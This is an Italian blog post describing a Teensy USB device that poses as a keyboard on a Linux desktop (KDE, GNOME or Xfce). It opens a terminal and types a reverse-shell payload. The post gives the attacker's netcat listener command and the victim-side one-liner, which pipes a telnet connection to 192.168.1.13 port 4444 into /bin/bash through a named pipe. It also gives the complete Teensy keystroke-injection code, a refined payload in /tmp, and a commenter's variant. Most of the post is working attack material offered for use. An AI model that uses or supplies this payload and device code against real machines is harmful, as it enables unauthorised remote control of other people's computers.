ClsHack Blog


[Hardware o.O] Teensy && Remote Shell on Linux && KDE :D

April 5th, 2012 by clshack


Cari amici miei teensy mi permette di scoprire quanto il possa essere pericoloso con una tastiera usb progettata ad hoc :)

Con un po’ di fantasia ho messo su un piccolo script che permette di aprire in pochi secondi una shell su un sistema linux con un ambiente desktop.
Nel titolo ho messo kde ma funziona perfettamente anche su gnome o xfce.
Kde perché in tutti gli script che ho trovato online non andavano questo che ho scritto funziona bene è testato ed è molto semplice da modificare.


Ook prepariamo il nostro pc :D :D

Da terminale mettiamoci in listener :D :D :D

nc -l -v 192.168.1.13 4444

IP:192.168.1.13
PORT:4444

Sul pc vittima dovremo digitare questo bel codice:
mknod backpipe p && telnet 192.168.1.13 4444 0<backpipe | /bin/bash 1>backpipe

Vi consiglio di girare su google per maggiori informazioni sulle shell con netcat bash e fantasie varie :D :D
(http://bernardodamele.blogspot.it/2011/09/reverse-shells-one-liners.html)

Il codice per teensy:

char PAYLOAD1[] = "mknod backpipe p && telnet 192.168.1.13 4444 0<backpipe | /bin/bash 1>backpipe &";
void setup()
{
  delay(4000);
  shell();
}
void loop()
{

}
void shell()
{
  //send ctrl+alt+t === ALT + F2
  Keyboard.set_modifier(MODIFIERKEY_CTRL);
  Keyboard.send_now();
  Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_ALT);
  Keyboard.send_now();
  Keyboard.set_key1(KEY_T);
  Keyboard.send_now();
  delay(100);
  Keyboard.set_modifier(0);
  Keyboard.set_key1(KEY_LEFT);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(100);
  int l= sizeof(PAYLOAD1);
  for (int i =0 ; i < l ; i++)
  {
    Keyboard.print(PAYLOAD1[i]);
    delay(2000);
  }
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

Abbassando il delay possiamo ottenere ottimi risultati in termini di velocità :D :D
(l'ho messo alto apposta :D :D )

Il Pyaload dovrete un attimo modificarlo, la mia versione definitiva è:
rm -f /tmp/b && mknod /tmp/b p && telnet 192.168.1.13 4444 0</tmp/b | /bin/bash 1>/tmp/b &

Video un po' schifoso spero capiate :D

  • ShadowyViper

    Comando corretto telnet localhost 4444 <backpipe | /bin/bash 1>backpipe ? =D